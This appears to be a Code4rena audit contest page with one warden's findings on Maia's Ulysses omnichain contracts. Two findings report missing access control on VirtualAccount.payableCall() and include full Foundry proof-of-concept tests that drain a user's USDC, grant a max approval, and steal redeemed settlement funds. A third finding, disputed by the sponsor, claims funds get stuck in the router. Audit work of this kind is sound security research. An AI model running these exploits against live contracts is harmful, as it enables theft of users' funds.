Platform: Code4rena
Start Date: 22/09/2023
Pot Size: $100,000 USDC
Total HM: 15
Participants: 175
Period: 14 days
Judge: alcueca
Total Solo HM: 4
Id: 287
League: ETH
Rank: 92/175
Findings: 2
Award: $25.79
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xTheC0der
Also found by: 0x180db, 0xDING99YA, 0xRstStn, 0xTiwa, 0xWaitress, 0xblackskull, 0xfuje, 3docSec, Aamir, Black_Box_DD, HChang26, Hama, Inspecktor, John_Femi, Jorgect, Kek, KingNFT, Kow, Limbooo, MIQUINHO, MrPotatoMagic, NoTechBG, Noro, Pessimistic, QiuhaoLi, SovaSlava, SpicyMeatball, T1MOH, TangYuanShen, Vagner, Viktor_Cortess, Yanchuan, _eperezok, alexweb3, alexxander, ast3ros, ayden, bin2chen, blutorque, btk, ciphermarco, ether_sky, gumgumzum, gztttt, hals, imare, its_basu, joaovwfreire, josephdara, klau5, kodyvim, ladboy233, marqymarq10, mert_eren, minhtrng, n1punp, nobody2018, oada, orion, peakbolt, peritoflores, perseverancesuccess, pfapostol, rvierdiiev, stuxy, tank, unsafesol, ustas, windhustler, zambody, zzzitron
0.1127 USDC - $0.11
https://github.com/code-423n4/2023-09-maia/blob/main/src/VirtualAccount.sol#L85-L108
ERC20 and ERC721 funds can be stolen from any user's VirtualAccount
VirtualAccount.sol
- payableCall()
can be called by anyone, unlike the call()
function in the same contract protected by requiresApprovedCaller()
. Anyone can transfer out ERC20, ERC721, ERC1155 funds from VirtualAccount
by simply calling the transfer()
function on the token contracts the virtual account holds via payableCall()
(and 0 as msg.value
to call non-payable functions). Additionally the attacker can also approve themselves to spend future funds of VirtualAccount
.
src/VirtualAccount.sol
- payableCall()
function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) { uint256 valAccumulator; uint256 length = calls.length; returnData = new bytes[](length); PayableCall calldata _call; for (uint256 i = 0; i < length;) { _call = calls[i]; uint256 val = _call.value; // Humanity will be a Type V Kardashev Civilization before this overflows - andreas // ~ 10^25 Wei in existence << ~ 10^76 size uint fits in a uint256 unchecked { valAccumulator += val; } bool success; if (isContract(_call.target)) (success, returnData[i]) = _call.target.call{value: val}(_call.callData); if (!success) revert CallFailed(); unchecked { ++i; } } }
The PoC is a fork test on Arbitrum with USDC
test/ulysses-omnichain/
and create a new file named VirtualAccount.t.sol
.env
is setup and have a valid INFURA_API_KEY
and ARBITRUM_RPC_URL
varsVirtualAccount.t.sol
forge test --match-test testVirtualAccountTransferOut -vvvv
forge test --match-test testVirtualAccountApproveOut -vvvv
pragma solidity ^0.8.16; import "./helpers/ImportHelper.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import {VirtualAccount, PayableCall} from "../../src/VirtualAccount.sol"; contract VirtualAccountTest is Test { VirtualAccount userVirtualAcc; address userAddress = address(0x09); address fakeRouter = address(0x08); address attacker = address(0x07); string INFURA_API_KEY = vm.envString("INFURA_API_KEY"); string ARB_RPC_URL = vm.envString("ARBITRUM_RPC_URL"); string RPC = string.concat(ARB_RPC_URL, INFURA_API_KEY); IERC20 USDC = IERC20(address(0xaf88d065e77c8cC2239327C5EDb3A432268e5831)); function setUp() public { vm.createSelectFork(RPC); userVirtualAcc = new VirtualAccount(userAddress, fakeRouter); // user sends 100_000 USDC to his virtualAccount to interact with Ulysess deal(address(USDC), userAddress, 100_000 * 1e18); } function testVirtualAccountTransferOut() public { // 1. user transfers their funds to their virtual account vm.prank(userAddress); USDC.transfer(address(userVirtualAcc), 100_000 * 1e18); assertEq(USDC.balanceOf(address(userVirtualAcc)), 100_000 * 1e18); assertEq(USDC.balanceOf(attacker), 0); vm.startPrank(attacker); PayableCall[] memory calls = new PayableCall[](2); calls[0] = PayableCall({ target: address(USDC), callData: abi.encodeWithSelector(IERC20.transfer.selector, attacker, 100_000 * 1e18), value: 0 }); calls[1] = PayableCall({ target: address(USDC), callData: abi.encodeWithSelector(IERC20.approve.selector, attacker, type(uint256).max), value: 0 }); // 2. attacker transfer funds out of VirtualAccount and approves themselves to spend future funds userVirtualAcc.payableCall{value: 0}(calls); // 3. attacker has all of virtual account's funds assertEq(USDC.balanceOf(address(userVirtualAcc)), 0); assertEq(USDC.balanceOf(attacker), 100_000 * 1e18); } function testVirtualAccountApproveOut() public { // 1. user transfers in USDC funds to their VirtualAccount vm.prank(userAddress); USDC.transfer(address(userVirtualAcc), 50_000 * 1e18); vm.startPrank(attacker); PayableCall[] memory calls = new PayableCall[](1); calls[0] = PayableCall({ target: address(USDC), callData: abi.encodeWithSelector(IERC20.approve.selector, attacker, type(uint256).max), value: 0 }); // 2. attacker approves max uint256 funds to spend from virtual account userVirtualAcc.payableCall{value: 0}(calls); // 3. attacker transfer to themselves USDC.transferFrom(address(userVirtualAcc), attacker, 50_000 * 1e18); vm.stopPrank(); // 4. user sends funds in again vm.prank(userAddress); USDC.transfer(address(userVirtualAcc), 50_000 * 1e18); // 5. attacker monitors when funds are sent in and withdraws immediately vm.prank(attacker); USDC.transferFrom(address(userVirtualAcc), attacker, 50_000 * 1e18); // 6. attacker has all of virtual account's funds assertEq(USDC.balanceOf(address(userVirtualAcc)), 0); assertEq(USDC.balanceOf(attacker), 100_000 * 1e18); } }
Manual review, Foundry Fork tests
Use the requiredApprovedCaller()
modifier on payableCall()
to only allow the user address owning the virtual account and the approved router to call the function
modifier requiresApprovedCaller() { if (!IRootPort(localPortAddress).isRouterApproved(this, msg.sender)) { if (msg.sender != userAddress) { revert UnauthorizedCaller(); } } _; }
Access Control
#0 - c4-pre-sort
2023-10-08T14:14:04Z
0xA5DF marked the issue as duplicate of #888
#1 - c4-pre-sort
2023-10-08T14:55:12Z
0xA5DF marked the issue as sufficient quality report
#2 - c4-pre-sort
2023-10-08T14:55:19Z
0xA5DF marked the issue as high quality report
#3 - c4-judge
2023-10-26T11:30:18Z
alcueca marked the issue as satisfactory
🌟 Selected for report: 0xTheC0der
Also found by: 0x180db, 0xDING99YA, 0xRstStn, 0xTiwa, 0xWaitress, 0xblackskull, 0xfuje, 3docSec, Aamir, Black_Box_DD, HChang26, Hama, Inspecktor, John_Femi, Jorgect, Kek, KingNFT, Kow, Limbooo, MIQUINHO, MrPotatoMagic, NoTechBG, Noro, Pessimistic, QiuhaoLi, SovaSlava, SpicyMeatball, T1MOH, TangYuanShen, Vagner, Viktor_Cortess, Yanchuan, _eperezok, alexweb3, alexxander, ast3ros, ayden, bin2chen, blutorque, btk, ciphermarco, ether_sky, gumgumzum, gztttt, hals, imare, its_basu, joaovwfreire, josephdara, klau5, kodyvim, ladboy233, marqymarq10, mert_eren, minhtrng, n1punp, nobody2018, oada, orion, peakbolt, peritoflores, perseverancesuccess, pfapostol, rvierdiiev, stuxy, tank, unsafesol, ustas, windhustler, zambody, zzzitron
0.1127 USDC - $0.11
https://github.com/code-423n4/2023-09-maia/blob/main/src/VirtualAccount.sol#L85 https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L311-L315 https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L328-L329 https://github.com/code-423n4/2023-09-maia/blob/main/src/RootPort.sol#L350-L366
Funds from failed settlement can be redeemed and stolen by an attacker
Failed settlements can be redeemed in RootBridgeAgent
- redeemSettlement
will send tokens to the msg.sender
and cancel the settlement on Branch. An attacker can redeem a failed settlement and steal user funds by bypassing access control in redeemSettlement
using the user's VirtualAccount
with payableCall()
(which has no access control).
1 - payableCall() The most apparent weakness that allows the exploit is the lack of access control in VirtualAccount.sol
- payableCall()
unlike call()
that is protected by the requiredApprovedCaller()
modifier
src/VirtualAccount.sol
- payableCall()
- (simplified snippet)
function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) { ... ... for (uint256 i = 0; i < length;) { ... if (isContract(_call.target)) (success, returnData[i]) = _call.target.call{value: val}(_call.callData); ++i; } ... }
2 - fetchVirtualAccount() Anyone can create virtual accounts for anyone via calling fetchVirtualAccount()
on RootPort
and input the desired user's address
src/RootPort.sol
- fetchVirtualAccount()
& addVirtualAccount()
function fetchVirtualAccount(address _user) external override returns (VirtualAccount account) { account = getUserAccount[_user]; if (address(account) == address(0)) account = addVirtualAccount(_user); } /** * @notice Creates a new virtual account for a user. * @param _user address of the user to associate a virtual account with. */ function addVirtualAccount(address _user) internal returns (VirtualAccount newAccount) { if (_user == address(0)) revert InvalidUserAddress(); newAccount = new VirtualAccount{salt: keccak256(abi.encode(_user))}(_user, address(this)); getUserAccount[_user] = newAccount; emit VirtualAccountCreated(_user, address(newAccount)); }
3 - redeemSettlement() While redeeming a failed settlement via RootBridgeAgent
- redeemSettlement()
it allows to redeem as the VirtualAccount
of the user. The function sends the tokens to msg.sender
, not the settlement owner, which can be the virtual account.
src/RootBridgeAgent.sol
- redeemSettlement()
- (simplified code snippet)
function redeemSettlement(uint32 _settlementNonce) external override lock { ... // Check if Settlement Owner is msg.sender or msg.sender is the virtual account of the settlement owner. if (msg.sender != settlementOwner) { if (msg.sender != address(IPort(localPortAddress).getUserAccount(settlementOwner))) { revert NotSettlementOwner(); } } ... // Clear Global hTokens To Recipient on Root Chain cancelling Settlement to Branch for (uint256 i = 0; i < settlement.hTokens.length;) { ... IPort(localPortAddress).bridgeToRoot( msg.sender, IPort(localPortAddress).getGlobalTokenFromLocal(_hToken, _dstChainId), settlement.amounts[i], settlement.deposits[i], _dstChainId ); } unchecked { ++i; } } // Delete Settlement delete getSettlement[_settlementNonce]; }
src/ulysess-omnichain/RootForkTest.t.sol
import {VirtualAccount, PayableCall} from "@omni/VirtualAccount.sol"; import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract RootForkTest is LzForkTest { ...
forge test --match-test testRedeemSettlementSteal -vvvv
function testRedeemSettlementSteal() public { //Set up testRetrySettlementTriggerFallback(); address user = address(this); address attacker = vm.addr(666); assertEq(MockERC20(newAvaxAssetGlobalAddress).balanceOf(user), 0); assertEq(MockERC20(newAvaxAssetGlobalAddress).balanceOf(attacker), 0); vm.prank(attacker); VirtualAccount userVA = rootPort.fetchVirtualAccount(user); PayableCall[] memory calls = new PayableCall[](2); calls[0] = PayableCall({ target: address(multicallRootBridgeAgent), callData: abi.encodeWithSelector(RootBridgeAgent.redeemSettlement.selector, prevNonceRoot - 1), value: 0 }); calls[1] = PayableCall({ target: address(newAvaxAssetGlobalAddress), callData: abi.encodeWithSelector(ERC20.transfer.selector, attacker, 99 * 1e18), value: 0 }); vm.prank(attacker); userVA.payableCall{value: 0}(calls); assertEq(MockERC20(newAvaxAssetGlobalAddress).balanceOf(user), 0); assertEq(MockERC20(newAvaxAssetGlobalAddress).balanceOf(address(userVA)), 0); assertEq(MockERC20(newAvaxAssetGlobalAddress).balanceOf(attacker), 99 ether); }
Manual review, Foundry Tests
Use the requiredApprovedCaller()
modifier on payableCall()
in VirtualAccount.sol
to only allow the user address owning the virtual account and the approved router to call the function. Consider restricting redeemSettlement
to be only be callable by the settlement owner OR transfer the funds only to the settlement owner. Additionally consider to only allow RootBridgeAgent
and the user
to create virtual accounts in RootPort
- fetchVirtualAccount()
/ addVirtualAccount()
.
Access Control
#0 - c4-pre-sort
2023-10-08T14:13:50Z
0xA5DF marked the issue as duplicate of #888
#1 - c4-pre-sort
2023-10-08T14:53:44Z
0xA5DF marked the issue as sufficient quality report
#2 - c4-judge
2023-10-26T11:30:16Z
alcueca marked the issue as satisfactory
🌟 Selected for report: MrPotatoMagic
Also found by: 0xAadi, 0xDING99YA, 0xDemon, 0xRstStn, 0xSmartContract, 0xStriker, 0xWaitress, 0xbrett8571, 0xfuje, 0xsagetony, 0xsurena, 33BYTEZZZ, 3docSec, 7ashraf, ABA, ABAIKUNANBAEV, Aamir, Audinarey, Bauchibred, Black_Box_DD, Daniel526, DanielArmstrong, DanielTan_MetaTrust, Dinesh11G, Eurovickk, Franklin, Inspecktor, John, Jorgect, Joshuajee, K42, Kek, Koolex, LokiThe5th, MIQUINHO, Myd, NoTechBG, QiuhaoLi, SanketKogekar, Sathish9098, Sentry, Soul22, SovaSlava, Stormreckson, Tendency, Topmark, Udsen, V1235816, Viktor_Cortess, Viraz, Yanchuan, ZdravkoHr, Zims, albahaca, albertwh1te, alexweb3, alexxander, ast3ros, audityourcontracts, bareli, bin2chen, bronze_pickaxe, c0pp3rscr3w3r, cartlex_, castle_chain, chaduke, debo, ether_sky, gumgumzum, imare, its_basu, jaraxxus, jasonxiale, josephdara, kodyvim, ladboy233, lanrebayode77, lsaudit, mert_eren, minhtrng, n1punp, nadin, niroh, nmirchev8, orion, peakbolt, perseverancesuccess, pfapostol, ptsanev, rvierdiiev, saneryee, shaflow2, te_aut, terrancrypt, twcctop, unsafesol, ustas, versiyonbir, windhustler, yongskiws, zhaojie, ziyou-
25.6785 USDC - $25.68
https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L507 https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgentExecutor.sol#L97 https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgentExecutor.sol#L245 https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L378 https://github.com/code-423n4/2023-09-maia/blob/main/src/RootPort.sol#L277
User funds are stuck in the router without any way to recover them
BranchBridgeAgent.sol
- callOutAndBridge()
BranchPort.sol
via _createDeposit
-> BranchPort.bridgeOut()
RootBridgeAgent.sol
- lzReceive()
->RootBridgeAgent.sol
- lzReceiveNonBlocking()
-> payload[0] == 0x02
->RootBridgeAgentExecutor.sol
- executeWithDeposit()
is called with localRouterAddress
as first paramRootBridgeAgentExecutor.sol
-> _bridgeIn(router)
-> RootBridgeAgent.sol
- bridgeIn(router)
->RootBridgeAgent.sol
- bridgeIn()
will call RootPort.bridgeToRoot(recipient)
with router as recipientRootPort.bridgeToRoot()
sends (and / or) mints the tokens to recipient aka localRouterAddress
Note: callOutAndBridgeMultiple()
-> 0x03
-> executeWithDepositMultiple()
has the same exact issue
The problem is that the sender should receive the funds, not MulticallRootRouter.sol
that can't and is not expected to handle those funds. The below snippets follow the flow of execution to prove that router receives the funds.
src/RootBridgeAgent.sol
- lzReceivenNonBlocking()
- 0x02 payload
} else if (_payload[0] == 0x02) { ... // Flag 2 - RootBridgeAgentExecutor(bridgeAgentExecutorAddress).executeWithDeposit(localRouterAddress, _payload, _srcChainId) _execute( nonce, abi.encodeWithSelector( //@audit localRouterAddress should be the sender RootBridgeAgentExecutor.executeWithDeposit.selector, localRouterAddress, _payload, srcChainId ), srcChainId );
src/RootBridgeAgentExecutor.sol
- executeWithDeposit()
function executeWithDeposit(address _router, bytes calldata _payload, uint16 _srcChainId) external payable onlyOwner { ... // Bridge In Assets _bridgeIn(_router, dParams, _srcChainId); // @audit receipient of funds will be router // Check if there is additional calldata in the payload if (_payload.length > PARAMS_TKN_SET_SIZE) { //Execute remote request IRouter(_router).executeDepositSingle{value: msg.value}( _payload[PARAMS_TKN_SET_SIZE:], dParams, _srcChainId ); } }
src/RootBridgeAgentExecutor.sol
- _bridgeIn()
function _bridgeIn(address _recipient, DepositParams memory _dParams, uint16 _srcChainId) internal { // @audit _recipient is router, but should be sender RootBridgeAgent(payable(msg.sender)).bridgeIn(_recipient, _dParams, _srcChainId); }
src/RootBridgeAgent.sol
- bridgeIn()
function bridgeIn(address _recipient, DepositParams memory _dParams, uint256 _srcChainId) public override requiresAgentExecutor { ... // Move hTokens from Branch to Root + Mint Sufficient hTokens to match new port deposit IPort(_localPortAddress).bridgeToRoot( _recipient, // @audit sends and mints tokens to router, not the sender IPort(_localPortAddress).getGlobalTokenFromLocal(_dParams.hToken, _srcChainId), _dParams.amount, _dParams.deposit, _srcChainId ); }
src/RootPort.sol
- bridgetoRoot()
function bridgeToRoot(address _recipient, address _hToken, uint256 _amount, uint256 _deposit, uint256 _srcChainId) external override requiresBridgeAgent { // @audit recipient is the router address if (!isGlobalAddress[_hToken]) revert UnrecognizedToken(); if (_amount - _deposit > 0) { unchecked { // @audit amount transferred to router _hToken.safeTransfer(_recipient, _amount - _deposit); } } // @audit amount minted to router if (_deposit > 0) if (!ERC20hTokenRoot(_hToken).mint(_recipient, _deposit, _srcChainId)) revert UnableToMint(); }
Only in the case of a custom deployment with a custom router where there would be additional calldata
provided can the the router receive and handle the funds, overriding the below functions, which is not expected on the initial deployments.
src/MulticallRootRouter.sol
- executeDepositSingle()
function executeDepositSingle(bytes calldata, DepositParams calldata, uint16) external payable override { revert(); } ///@inheritdoc IRootRouter function executeDepositMultiple(bytes calldata, DepositMultipleParams calldata, uint16) external payable { revert(); }
Manual review
Use the same pattern as with signed transactions as default behaviour (without fetching virtual accounts)
BranchBridgeAgent
- callOutAndBridge()
, callOutAndBridgeMultiple()
should include the msg.sender
addressRootBridgeAgent
should decode the msg.sender
in lzReceiveNonBlocking
- 0x02
and 0x03
cases and send it to the executor as the first param, router being the second oneRootBridgeAgentExecutor
- executeWithDeposit()
, executeWithDepositMultiple
should have 4 params with the first one being the decoded address that will be used in _bridgeIn()
instead of _router
.bridgeIn()
of RootBridgeAgent
will call bridgeToRoot()
with the sender's address, sending and minting tokens to the sender, not the routerOther
#0 - c4-pre-sort
2023-10-13T16:37:24Z
0xA5DF marked the issue as sufficient quality report
#1 - c4-pre-sort
2023-10-13T16:37:28Z
0xA5DF marked the issue as primary issue
#2 - c4-sponsor
2023-10-17T15:16:59Z
0xBugsy (sponsor) disputed
#3 - 0xBugsy
2023-10-17T15:34:12Z
The issue stated is that the recipient is the wrong. but the intended recipient is the router. the real issue here is that the router is not being called when zero calldata is passed. The router should always be called and should revert if the function is not implemented.
#4 - c4-judge
2023-10-26T09:08:27Z
alcueca changed the severity to QA (Quality Assurance)
#5 - c4-judge
2023-10-26T09:08:32Z
alcueca marked the issue as grade-b